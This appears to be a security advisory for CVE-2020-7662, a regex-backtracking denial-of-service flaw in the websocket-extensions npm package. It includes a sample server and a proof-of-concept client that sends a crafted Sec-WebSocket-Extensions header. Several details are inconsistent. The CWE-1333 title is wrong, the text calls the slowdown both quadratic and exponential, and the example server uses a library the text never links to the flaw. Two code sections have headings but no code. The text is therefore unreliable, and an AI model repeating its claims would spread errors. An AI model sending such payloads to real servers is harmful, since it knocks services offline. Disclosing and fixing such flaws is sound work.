Regex Backtracking Denial of Service in websocket-extensions npm Module

Title: Regex Backtracking Denial of Service in websocket-extensions

CVE-ID: CVE-2020-7662

Versions: < 0.1.4

Fixed in: 0.1.4

Package URL: websocket-extensions

Common Weakness Enumeration: CWE-1333 (Improper Handling of Exceptional Conditions)

Vulnerability Description

The websocket-extensions npm module prior to version 0.1.4 is susceptible to Denial of Service (DoS) via Regex Backtracking. The extension parser may take quadratic time when parsing a header containing an unclosed string parameter value with a repeating two-byte sequence of a backslash and another character. This vulnerability, known as Regex Denial of Service (ReDoS), can be exploited to exhaust the server’s processing capacity, particularly in single-threaded environments.

Example Scenario: Exploiting ReDoS in a Single-Threaded Node.js Server

  1. Setup the Vulnerable Application:

    const WebSocket = require('ws');
    const http = require('http');
    
    const server = http.createServer();
    const wss = new WebSocket.Server({ server });
    
    wss.on('connection', function connection(ws, req) {
      ws.on('message', function incoming(message) {
        console.log('received: %s', message);
      });
    
      ws.send('something');
    });
    
    server.listen(8080, function listening() {
      console.log('Listening on %d', server.address().port);
    });
  2. Exploit the Vulnerability:

    • The attacker sends a WebSocket handshake request with a malicious Sec-WebSocket-Extensions header containing a long sequence of backslashes followed by another character.

      const WebSocket = require('ws');
      
      const ws = new WebSocket('ws://localhost:8080', {
        headers: {
          'Sec-WebSocket-Extensions': 'a; b="\\c\\c\\c\\c\\c\\c\\c\\c\\c\\c ...'
        }
      });
      
      ws.on('open', function open() {
        console.log('Connected');
      });
    - This payload triggers the ReDoS vulnerability, 
    - Causing the server to spend an exponential amount of time processing the header,
    - Thus blocking other requests and making the service unavailable.

Issue Replication

To replicate the issue, follow these steps:

  1. Run a Single-Threaded WebSocket Server:

    • Use the provided vulnerable application code to set up a WebSocket server.

  2. Send Malicious Payload:

    • Simulate a WebSocket request with a Sec-WebSocket-Extensions header containing a long sequence of backslashes.

  3. Observe the Impact:

    • Notice how the server becomes unresponsive due to the time-consuming parsing of the malicious header.

Fix

Upgrade to websocket-extensions version 0.1.4 or later. This version includes fixes to mitigate the ReDoS vulnerability by improving the regular expression handling to prevent excessive backtracking.

Remediation Code Example

To ensure your application is protected against this vulnerability, upgrade to the latest version of the websocket-extensions package:

Example of Mitigated Code

After upgrading to the fixed version, the WebSocket server will handle the Sec-WebSocket-Extensions header without the vulnerability:

Recommendations

  • Always keep your npm packages up to date, especially for security-critical applications.

  • Regularly check for security advisories related to your dependencies.

  • Consider using multi-threaded or asynchronous server setups to mitigate the impact of potential DoS attacks.

Vulnerability Disclosure Timeline

The vulnerability was responsibly disclosed by Robert McLaughlin and has been fixed in websocket-extensions version 0.1.4. All users are advised to upgrade to this version or later to protect against the described ReDoS vulnerability.

Last updated